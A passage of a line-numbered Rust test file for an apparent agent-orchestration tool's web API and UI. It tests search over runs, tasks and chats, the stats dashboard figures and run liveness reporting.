11138 .await
11139 .json();
11140 assert_eq!(stmt["total"], 2, "{stmt}");
11141 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11142 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11143 }
11144
11145 #[test]
11146 fn snippet_ignores_terms_longer_than_the_field() {
11147 let terms = ["ok".to_owned(), "elephant".to_owned()];
11148 let parts = snippet_of("ok", &terms);
11149 assert_eq!(
11150 parts,
11151 vec![SnippetPart {
11152 text: "ok".to_owned(),
11153 hit: true
11154 }]
11155 );
11156 }
11157
11158 #[test]
11159 fn snippet_marks_matches_longer_than_the_window() {
11160 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11161 let hit_len = |parts: &[SnippetPart]| -> usize {
11162 parts
11163 .iter()
11164 .filter(|p| p.hit)
11165 .map(|p| p.text.chars().count())
11166 .sum()
11167 };
11168 let total =
11169 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11170
11171 let long = "a".repeat(120);
11172 let parts = snippet_of(&long, std::slice::from_ref(&long));
11173 assert!(hit_len(&parts) > 0, "{parts:?}");
11174 assert!(total(&parts) <= cap);
11175
11176 let ja = "あ".repeat(130);
11177 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11178 assert!(hit_len(&parts) > 0, "{parts:?}");
11179 assert!(total(&parts) <= cap);
11180
11181 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11183 let term = format!("ab{}", "c".repeat(100));
11184 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11185 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11186 assert!(total(&parts) <= cap);
11187
11188 let text = format!("{}z", "a".repeat(119));
11190 let parts = snippet_of(&text, &["a".repeat(120)]);
11191 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11192 }
11193
11194 #[tokio::test]
11195 async fn search_caps_hits_and_snippet_length() {
11196 let f = Fixture::start().await;
11197 let runs = f.runs();
11198 for n in 0..(SEARCH_MAX_HITS + 5) {
11199 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11200 }
11201 let v = f.get("/api/search?scope=runs&q=web").await.json();
11202 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11203 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11204 assert_eq!(v["truncated"], true);
11205 assert!(
11207 v["hits"]
11208 .as_array()
11209 .unwrap()
11210 .iter()
11211 .all(|h| h["run"]["status"] == "merged")
11212 );
11213
11214 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11215 let parts = snippet_of(&long, &["needle".to_owned()]);
11216 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11217 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11218 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11219 }
11220
11221 #[tokio::test]
11222 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11223 let f = Fixture::start().await;
11224 let queue = f.queue();
11225 let mut t = Task::new(
11226 "short title".to_owned(),
11227 "line one\nthe hidden Armadillo detail".to_owned(),
11228 PathBuf::from("/repo/magi"),
11229 Source::Agent {
11230 run: "r1".to_owned(),
11231 node: "chat".to_owned(),
11232 },
11233 );
11234 t.last_error = Some("disk full on /tmp".to_owned());
11235 queue.put(&mut t).expect("file the task");
11236
11237 for (q, want) in [
11238 ("armadillo", 1),
11239 ("disk%20FULL", 1),
11240 ("chat", 1),
11241 ("queued", 1),
11242 ("short%20nothing", 0),
11243 ] {
11244 let v = f
11245 .get(&format!("/api/search?scope=tasks&q={q}"))
11246 .await
11247 .json();
11248 assert_eq!(v["total"], want, "{q}: {v}");
11249 }
11250 for bad in [
11251 "/api/search?scope=tasks&q=",
11252 "/api/search?scope=tasks&q=%20",
11253 "/api/search?scope=chats&q=",
11254 "/api/search?scope=chats&q=%20",
11255 "/api/search?scope=nope&q=a",
11256 "/api/search?q=a",
11257 ] {
11258 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11259 }
11260 }
11261
11262 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11264 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11265 .expect("seat value");
11266 let turns: Vec<serde_json::Value> = turns
11267 .iter()
11268 .map(|(who, body)| {
11269 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11270 })
11271 .collect();
11272 let doc = serde_json::json!({
11273 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11274 "status": status, "turns": turns,
11275 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11276 "seat": seat,
11277 });
11278 let dir = f.home.path().join("talks");
11279 std::fs::create_dir_all(&dir).expect("talks dir");
11280 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11281 }
11282
11283 #[tokio::test]
11284 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11285 let f = Fixture::start().await;
11286 write_talk(
11287 &f,
11288 "20260901-000001-aaaa",
11289 "open",
11290 &[
11291 (
11292 "operator",
11293 "\n Why does the Pangolin cache expire?\nsecond line",
11294 ),
11295 ("agent", "Because the TTL is thirty seconds."),
11296 ],
11297 );
11298 write_talk(
11299 &f,
11300 "20260901-000002-bbbb",
11301 "closed",
11302 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11303 );
11304 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11305
11306 let search = |q: &'static str| {
11307 let f = &f;
11308 async move {
11309 f.get(&format!("/api/search?scope=chats&q={q}"))
11310 .await
11311 .json()
11312 }
11313 };
11314
11315 let v = search("PANGOLIN").await;
11316 assert_eq!(v["scope"], "chats");
11317 assert_eq!(v["total"], 1, "{v}");
11318 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11319 assert_eq!(v["hits"][0]["field"], "title");
11320 assert_eq!(v["unreadable"], 1, "{v}");
11321 let marked: Vec<&str> = v["hits"][0]["snippet"]
11322 .as_array()
11323 .unwrap()
11324 .iter()
11325 .filter(|p| p["hit"] == true)
11326 .map(|p| p["text"].as_str().unwrap())
11327 .collect();
11328 assert_eq!(marked, ["Pangolin"]);
11329
11330 let v = search("zebra").await;
11332 assert_eq!(v["total"], 1, "{v}");
11333 assert_eq!(v["hits"][0]["field"], "agent");
11334 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11336 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11337 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11339 assert_eq!(search(q).await["total"], 0, "{q}");
11340 }
11341 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11343 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11345
11346 let v = f.get("/api/search?scope=nope&q=a").await;
11347 assert_eq!(v.status, 400);
11348 assert!(
11349 v.body.contains("scope must be runs, tasks or chats"),
11350 "{}",
11351 v.body
11352 );
11353 }
11354
11355 #[test]
11356 fn a_question_card_links_a_task_id_to_the_task_page() {
11357 let start = APP_JS
11358 .find("function updateAskCard(")
11359 .expect("updateAskCard exists");
11360 let body = &APP_JS[start..];
11361 let body = &body[..body.find("\n}\n").expect("function end")];
11362 assert!(body.contains("question.run_is_task"));
11363 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11364 assert!(body.contains("`#/runs/${question.run}`"));
11365 assert!(body.contains("\"task\" : \"run\""));
11366 }
11367
11368 #[test]
11369 fn stats_bars_share_one_id_keyed_plan() {
11370 let start = APP_JS
11371 .find("function statsBarRows(")
11372 .expect("statsBarRows exists");
11373 let body = &APP_JS[start..];
11374 let body = &body[..body.find("\n}\n").expect("function end")];
11375 assert!(body.contains("statsBarPlan(rows)"));
11376 assert!(body.contains("statsAgentTone(row.agent)"));
11377 assert!(!body.contains("candTone(i)"));
11378 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11379 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11380 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11381 }
11382 }
11383
11384 #[test]
11385 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11386 let start = APP_JS
11387 .find("function renderStatsReviewerScatter(")
11388 .expect("renderStatsReviewerScatter exists");
11389 let body = &APP_JS[start..];
11390 let body = &body[..body.find("\n}\n").expect("function end")];
11391 assert!(body.contains("statsScatterPlan(reviewers)"));
11392 assert!(body.contains("statsAgentTone(d.agent)"));
11393 assert!(APP_JS.contains("function statsScatterPlan("));
11394 assert!(
11395 APP_JS.contains("d.submitted < STATS_LOW_N")
11396 || APP_JS.contains("r.submitted < STATS_LOW_N")
11397 );
11398 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11399 assert!(APP_CSS.contains(".precision-scatter"));
11400 }
11401
11402 #[test]
11403 fn advisor_reflection_is_drawn_as_stacked_segments() {
11404 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11405 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11406 let html = include_str!("../assets/ui/index.html");
11407 assert!(html.contains("Approximate"));
11408 for label in ["reflected strongly", "faint", "no proposal"] {
11409 assert!(html.contains(label));
11410 }
11411 let css = include_str!("../assets/ui/app.css");
11412 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11413 assert!(css.contains(&format!(".{c} {{")));
11414 }
11415 }
11416
11417 #[test]
11418 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11419 assert!(APP_JS.contains("function statsDailyPlan("));
11420 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11421 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11422 }
11423
11424 #[test]
11425 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11426 let start = APP_JS
11427 .find("function scheduleSearch(")
11428 .expect("scheduleSearch exists");
11429 let body = &APP_JS[start..];
11430 let body = &body[..body.find("\n}\n").expect("function end")];
11431 assert!(body.contains("s.seq += 1"));
11432 }
11433
11434 #[tokio::test]
11439 async fn stats_runs_unreadable_matches_health() {
11440 let f = Fixture::start().await;
11441 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11442 let broken = f.runs().join("20260902-140502-bad");
11443 std::fs::create_dir_all(&broken).expect("run dir");
11444 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11445
11446 let stats = f.get("/api/stats").await;
11447 let health = f.get("/api/health").await;
11448
11449 assert_eq!(stats.status, 200);
11450 assert_eq!(stats.json()["totals"]["runs"], 1);
11451 assert_eq!(stats.json()["runs_unreadable"], 1);
11452 assert_eq!(
11453 stats.json()["runs_unreadable"],
11454 health.json()["runs_unreadable"],
11455 "the dashboard and /api/health must never disagree about how many \
11456 runs could not be read"
11457 );
11458 }
11459
11460 #[tokio::test]
11461 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11462 let f = Fixture::start().await;
11463 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11464 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11465 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11466
11467 let totals = &f.get("/api/stats").await.json()["totals"];
11468 assert_eq!(totals["runs"], 3);
11469 assert_eq!(totals["merged"], 1);
11470 assert_eq!(totals["stalled"], 1);
11471 assert_eq!(totals["in_progress"], 1);
11472 assert_eq!(totals["blocked"], 0);
11475 assert_eq!(totals["ready"], 0);
11476 }
11477
11478 #[tokio::test]
11479 async fn stats_advisors_report_proposals_and_reflection() {
11480 use crate::advise::{Advice, AdvisorRecord, Reflection};
11481 use crate::verdict::Proposal;
11482
11483 let f = Fixture::start().await;
11484 let mut state = RunState::new(
11485 PathBuf::from("/repo/magi"),
11486 "main".to_owned(),
11487 "0123456789abcdef".to_owned(),
11488 "task".to_owned(),
11489 Config::default(),
11490 );
11491 state.id = "20260902-140501-a".to_owned();
11492 state.status = RunStatus::Merged;
11493 state.advice = Some(Advice {
11494 records: vec![
11495 AdvisorRecord {
11496 seat: "advisor-1".to_owned(),
11497 agent: "alpha".to_owned(),
11498 proposal: Some(Proposal {
11499 approach: "do it".to_owned(),
11500 key_tradeoff: "speed over memory".to_owned(),
11501 risks: Vec::new(),
11502 touches: Vec::new(),
11503 why_not_naive: "breaks under load".to_owned(),
11504 }),
11505 error: None,
11506 duration_ms: 0,
11507 reflection: Reflection::Strong,
11508 },
11509 AdvisorRecord {
11510 seat: "advisor-2".to_owned(),
11511 agent: "alpha".to_owned(),
11512 proposal: None,
11513 error: Some("timed out".to_owned()),
11514 duration_ms: 0,
11515 reflection: Reflection::Absent,
11516 },
11517 ],
11518 synthesis: Some("blended brief".to_owned()),
11519 });
11520 let dir = f.runs().join(&state.id);
11521 std::fs::create_dir_all(&dir).expect("run dir");
11522 std::fs::write(
11523 dir.join("run.json"),
11524 serde_json::to_string_pretty(&state).expect("serialize run"),
11525 )
11526 .expect("write run.json");
11527
11528 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11529 let alpha = advisors
11530 .as_array()
11531 .expect("an array")
11532 .iter()
11533 .find(|a| a["agent"] == "alpha")
11534 .expect("alpha row");
11535 assert_eq!(alpha["seated"], 2);
11536 assert_eq!(alpha["proposed"], 1);
11537 assert_eq!(alpha["absent"], 1);
11538 assert_eq!(alpha["strong"], 1);
11539 assert_eq!(alpha["faint"], 0);
11540 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11541 }
11542
11543 #[tokio::test]
11544 async fn stats_release_bumps_split_clean_from_attention() {
11545 use crate::run::ReleaseBump;
11546
11547 let f = Fixture::start().await;
11548
11549 let mut clean = RunState::new(
11550 PathBuf::from("/repo/magi"),
11551 "main".to_owned(),
11552 "0123456789abcdef".to_owned(),
11553 "task".to_owned(),
11554 Config::default(),
11555 );
11556 clean.id = "20260902-140501-a".to_owned();
11557 clean.status = RunStatus::Merged;
11558 clean.release_bump = Some(ReleaseBump {
11559 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11560 version: Some("1.0.0".to_owned()),
11561 automerge_enabled: true,
11562 merged_directly: false,
11563 local: false,
11564 release: None,
11565 problem: None,
11566 action_required: None,
11567 });
11568
11569 let mut blocked = RunState::new(
11570 PathBuf::from("/repo/magi"),
11571 "main".to_owned(),
11572 "0123456789abcdef".to_owned(),
11573 "task".to_owned(),
11574 Config::default(),
11575 );
11576 blocked.id = "20260902-140502-b".to_owned();
11577 blocked.status = RunStatus::Merged;
11578 blocked.release_bump = Some(ReleaseBump {
11579 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11580 version: Some("1.0.1".to_owned()),
11581 automerge_enabled: false,
11582 merged_directly: false,
11583 local: false,
11584 release: None,
11585 problem: Some("checks red".to_owned()),
11586 action_required: Some("look at the PR".to_owned()),
11587 });
11588
11589 for state in [&clean, &blocked] {
11590 let dir = f.runs().join(&state.id);
11591 std::fs::create_dir_all(&dir).expect("run dir");
11592 std::fs::write(
11593 dir.join("run.json"),
11594 serde_json::to_string_pretty(state).expect("serialize run"),
11595 )
11596 .expect("write run.json");
11597 }
11598
11599 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11600 assert_eq!(bumps["merged"], 2);
11601 assert_eq!(bumps["recorded"], 2);
11602 assert_eq!(bumps["pr_opened"], 2);
11603 assert_eq!(bumps["automerge_enabled"], 1);
11604 assert_eq!(bumps["needs_attention"], 1);
11605 assert_eq!(bumps["clean"], 1);
11606 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11607 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11608 }
11609
11610 #[tokio::test]
11611 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11612 let f = Fixture::start().await;
11613 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11614
11615 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11616 assert_eq!(bumps["merged"], 1);
11617 assert_eq!(bumps["recorded"], 0);
11618 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11621 assert_eq!(bumps["automerge_rate"], Value::Null);
11624 assert_eq!(bumps["attention_rate"], Value::Null);
11625 }
11626
11627 #[tokio::test]
11628 async fn stats_queue_counts_come_from_the_live_queue() {
11629 let f = Fixture::start().await;
11630 let q = f.queue();
11631 let mut queued = Task::new(
11632 "queued task".to_owned(),
11633 "do it".to_owned(),
11634 PathBuf::from("/repo"),
11635 Source::Human,
11636 );
11637 q.put(&mut queued).expect("put queued");
11638 let mut held = Task::new(
11639 "held task".to_owned(),
11640 "do it later".to_owned(),
11641 PathBuf::from("/repo"),
11642 Source::Human,
11643 );
11644 held.hold_machine(Some("out of attempts".to_owned()));
11645 q.put(&mut held).expect("put held");
11646
11647 let queue = f.get("/api/stats").await.json()["queue"].clone();
11648 assert_eq!(queue["queued"], 1);
11649 assert_eq!(queue["held"], 1);
11650 assert_eq!(queue["running"], 0);
11651 assert_eq!(queue["done"], 0);
11652 assert_eq!(queue["failed"], 0);
11653 assert_eq!(queue["blocked"], 0);
11654 }
11655
11656 #[tokio::test]
11657 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11658 let f = Fixture::start().await;
11659 let stats = f.get("/api/stats").await;
11660 assert_eq!(stats.status, 200);
11661 assert_eq!(stats.json()["totals"]["runs"], 0);
11662 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11663 assert_eq!(stats.json()["runs_unreadable"], 0);
11664 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11665 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11666 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11667 assert_eq!(stats.json()["repo"], Value::Null);
11668 }
11669
11670 #[tokio::test]
11671 async fn stats_lists_every_repository_with_runs_recorded() {
11672 let f = Fixture::start().await;
11673 write_run_repo(
11674 &f.runs(),
11675 "20260902-140501-a",
11676 RunStatus::Merged,
11677 "/repos/a",
11678 );
11679 write_run_repo(
11680 &f.runs(),
11681 "20260902-140502-b",
11682 RunStatus::Merged,
11683 "/repos/a",
11684 );
11685 write_run_repo(
11686 &f.runs(),
11687 "20260902-140503-c",
11688 RunStatus::Blocked,
11689 "/repos/b",
11690 );
11691
11692 let stats = f.get("/api/stats").await;
11693 assert_eq!(stats.status, 200);
11694 assert_eq!(stats.json()["totals"]["runs"], 3);
11696 assert_eq!(stats.json()["repo"], Value::Null);
11697
11698 let repos = stats.json()["repos"].clone();
11699 let repos = repos.as_array().unwrap();
11700 assert_eq!(repos.len(), 2);
11701 assert_eq!(repos[0]["repo"], "/repos/a");
11703 assert_eq!(repos[0]["name"], "a");
11704 assert_eq!(repos[0]["runs"], 2);
11705 assert_eq!(repos[1]["repo"], "/repos/b");
11706 assert_eq!(repos[1]["runs"], 1);
11707 }
11708
11709 #[tokio::test]
11710 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11711 let f = Fixture::start().await;
11712 write_run_repo(
11713 &f.runs(),
11714 "20260902-140501-a",
11715 RunStatus::Merged,
11716 "/repos/a",
11717 );
11718 write_run_repo(
11719 &f.runs(),
11720 "20260902-140502-b",
11721 RunStatus::Blocked,
11722 "/repos/b",
11723 );
11724
11725 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11726 assert_eq!(stats.status, 200);
11727 assert_eq!(stats.json()["totals"]["runs"], 1);
11728 assert_eq!(stats.json()["totals"]["merged"], 1);
11729 assert_eq!(stats.json()["repo"], "/repos/a");
11730 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11733 assert_eq!(stats.json()["runs_unreadable"], 0);
11736 }
11737
11738 #[tokio::test]
11739 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11740 let f = Fixture::start().await;
11741 write_run_repo(
11742 &f.runs(),
11743 "20260902-140501-a",
11744 RunStatus::Merged,
11745 "/repos/a",
11746 );
11747 write_run_repo(
11748 &f.runs(),
11749 "20260902-140502-b",
11750 RunStatus::Merged,
11751 "/repos/b",
11752 );
11753
11754 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11755 let json = f.get(uri).await.json();
11756 let daily = json["daily"].as_array().expect("daily is an array");
11757 assert_eq!(daily.len(), 30);
11758 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11759 let mut sorted = dates.clone();
11760 sorted.sort();
11761 assert_eq!(dates, sorted);
11762 for d in daily {
11763 assert_eq!(
11764 d["merged"].as_u64().unwrap()
11765 + d["ready"].as_u64().unwrap()
11766 + d["other"].as_u64().unwrap(),
11767 d["runs"].as_u64().unwrap()
11768 );
11769 }
11770 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11771 }
11772 }
11773
11774 #[tokio::test]
11775 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11776 let f = Fixture::start().await;
11777 write_run_repo(
11778 &f.runs(),
11779 "20260902-140501-a",
11780 RunStatus::Merged,
11781 "/repos/a",
11782 );
11783
11784 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11785 assert_eq!(stats.status, 404);
11786 }
11787
11788 #[tokio::test]
11789 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11790 let f = Fixture::start().await;
11791 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11792
11793 let summary = f.get("/api/runs").await.json();
11794 let row = &summary[0];
11795 assert_eq!(row["short"], "a1b2");
11796 assert_eq!(row["status"], "ready");
11797 assert_eq!(row["done"], true);
11798 assert_eq!(row["title"], "Add a web UI");
11799 assert_eq!(row["repo_name"], "magi");
11800 assert_eq!(row["judges"], 3);
11801 assert_eq!(row["winner"], Value::Null);
11802 assert_eq!(row["reviews"], 0);
11803
11804 let detail = f.get("/api/runs/a1b2").await;
11807 assert_eq!(detail.status, 200);
11808 assert_eq!(detail.json()["base_branch"], "main");
11809 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11810 }
11811
11812 #[tokio::test]
11820 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11821 let f = Fixture::start().await;
11822
11823 let mut none_run = RunState::new(
11824 PathBuf::from("/repo/magi"),
11825 "main".to_owned(),
11826 "0123456789abcdef".to_owned(),
11827 "Add a web UI".to_owned(),
11828 Config::default(),
11829 );
11830 none_run.id = "20260902-140503-none".to_owned();
11831 none_run.status = RunStatus::Ready;
11832 none_run.merge = Some(crate::run::MergeOutcome {
11833 mode: crate::config::MergeMode::None,
11834 ok: true,
11835 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11836 empty: false,
11837 });
11838 write_state(&f.runs(), &none_run);
11839
11840 let mut pr_run = RunState::new(
11841 PathBuf::from("/repo/magi"),
11842 "main".to_owned(),
11843 "0123456789abcdef".to_owned(),
11844 "Add a web UI".to_owned(),
11845 Config::default(),
11846 );
11847 pr_run.id = "20260902-140504-prcl".to_owned();
11848 pr_run.status = RunStatus::Ready;
11849 pr_run.merge = Some(crate::run::MergeOutcome {
11850 mode: crate::config::MergeMode::Pr,
11851 ok: false,
11852 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11853 empty: false,
11854 });
11855 write_state(&f.runs(), &pr_run);
11856
11857 let summary = f.get("/api/runs").await.json();
11858 let rows: std::collections::HashMap<&str, &Value> = summary
11859 .as_array()
11860 .expect("an array")
11861 .iter()
11862 .map(|r| (r["id"].as_str().expect("an id"), r))
11863 .collect();
11864 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11865 assert_eq!(
11866 rows[none_run.id.as_str()]["unmerged_by_design"],
11867 true,
11868 "a mode-none Ready must be flagged in the list"
11869 );
11870 assert_eq!(
11871 rows[pr_run.id.as_str()]["unmerged_by_design"],
11872 false,
11873 "a Ready reached by a closed pull request is a different case"
11874 );
11875
11876 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11877 assert_eq!(none_detail["status"], "ready");
11878 assert_eq!(none_detail["unmerged_by_design"], true);
11879
11880 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11881 assert_eq!(pr_detail["unmerged_by_design"], false);
11882 }
11883
11884 #[tokio::test]
11889 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11890 let f = Fixture::start().await;
11891 let id = "20260902-140502-bbbb";
11895 let mut state = RunState::new(
11896 PathBuf::from("/repo/magi"),
11897 "main".to_owned(),
11898 "0123456789abcdef".to_owned(),
11899 "Add a web UI".to_owned(),
11900 Config::default(),
11901 );
11902 state.id = id.to_owned();
11903 state.status = RunStatus::Judging;
11904 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11905 let dir = f.runs().join(id);
11906 std::fs::create_dir_all(&dir).expect("run dir");
11907 std::fs::write(
11908 dir.join("run.json"),
11909 serde_json::to_string_pretty(&state).expect("serialize run"),
11910 )
11911 .expect("write run.json");
11912
11913 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11919 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11920 assert_eq!(cold["live"], "unknown", "{cold}");
11921
11922 write_daemon(f.home.path(), Timestamp::now());
11925 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11926 assert_eq!(warm["live"], "live", "{warm}");
11927 }
11928
11929 #[tokio::test]
11932 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11933 let f = Fixture::start().await;
11934 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11935 let mut state = RunState::new(
11936 PathBuf::from("/repo/magi"),
11937 "main".to_owned(),
11938 "0123456789abcdef".to_owned(),
11939 "Add a web UI".to_owned(),
11940 Config::default(),
11941 );
11942 state.id = id.to_owned();
11943 state.origin = origin;
11944 let mut value = serde_json::to_value(&state).expect("serialize run");
11945 if let Some(schema) = schema {
11946 value["schema"] = serde_json::json!(schema);
11947 value.as_object_mut().unwrap().remove("origin");
11948 }
11949 let dir = f.runs().join(id);
11950 std::fs::create_dir_all(&dir).expect("run dir");
11951 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11952 };
11953 write(
11954 "20260930-092817-ec34",
11955 Some(crate::run::Origin::from_agent_env(
11956 Some(("4a7b".to_owned(), "chat".to_owned())),
11957 None,
11958 )),
11959 None,
11960 );
11961 write("20260930-092817-0ld1", None, Some(12));
11962
11963 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11964 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11965 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11966
11967 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11968 assert_eq!(
11969 old["origin_label"], "origin unknown (started before origins were recorded)",
11970 "{old}"
11971 );
11972 assert!(old["origin"].is_null(), "{old}");
11973
11974 let list = f.get("/api/runs").await.json();
11975 let labels: Vec<_> = list
11976 .as_array()
11977 .unwrap()
11978 .iter()
11979 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11980 .collect();
11981 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11982 }
11983
11984 #[tokio::test]
11991 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11992 let f = Fixture::start().await;
11993 let id = "20260922-090000-cccc";
11994 let mut state = RunState::new(
11995 PathBuf::from("/repo/magi"),
11996 "main".to_owned(),
11997 "0123456789abcdef".to_owned(),
11998 "Review only".to_owned(),
11999 Config::default(),
12000 );
12001 state.id = id.to_owned();
12002 state.status = RunStatus::Reviewing;
12003 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12004 state.driver_pid = Some(std::process::id());
12010 state.driver_started_at = Some(
12011 crate::proc::process_started_at(std::process::id())
12012 .expect("this test process's own start time must be queryable"),
12013 );
12014 let dir = f.runs().join(id);
12015 std::fs::create_dir_all(&dir).expect("run dir");
12016 std::fs::write(
12017 dir.join("run.json"),
12018 serde_json::to_string_pretty(&state).expect("serialize run"),
12019 )
12020 .expect("write run.json");
12021
12022 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12023 assert_eq!(detail["live"], "live", "{detail}");
12024 }
12025
12026 #[tokio::test]
12032 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12033 let f = Fixture::start().await;
12034 let id = "20260922-090100-dddd";
12035 let mut state = RunState::new(
12036 PathBuf::from("/repo/magi"),
12037 "main".to_owned(),
12038 "0123456789abcdef".to_owned(),
12039 "Review only".to_owned(),
12040 Config::default(),
12041 );
12042 state.id = id.to_owned();
12043 state.status = RunStatus::Reviewing;
12044 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12045 state.driver_pid = Some(std::process::id());
12050 state.driver_started_at = Some("1".to_owned());
12051 let dir = f.runs().join(id);
12052 std::fs::create_dir_all(&dir).expect("run dir");
12053 std::fs::write(
12054 dir.join("run.json"),
12055 serde_json::to_string_pretty(&state).expect("serialize run"),
12056 )
12057 .expect("write run.json");
12058
12059 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12060 assert_eq!(detail["live"], "dead", "{detail}");
12061 }
12062
12063 #[test]
12067 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12068 let mk = |id: &str, pid: Option<u32>| {
12069 let mut s = RunState::new(
12070 PathBuf::from("/repo/magi"),
12071 "main".to_owned(),
12072 "0123456789abcdef".to_owned(),
12073 "Add a web UI".to_owned(),
12074 Config::default(),
12075 );
12076 s.id = id.to_owned();
12077 s.driver_pid = pid;
12078 s.driver_started_at = Some("1790000000".to_owned());
12079 s
12080 };
12081 let states = vec![
12082 mk("20260902-140502-aaaa", Some(77)),
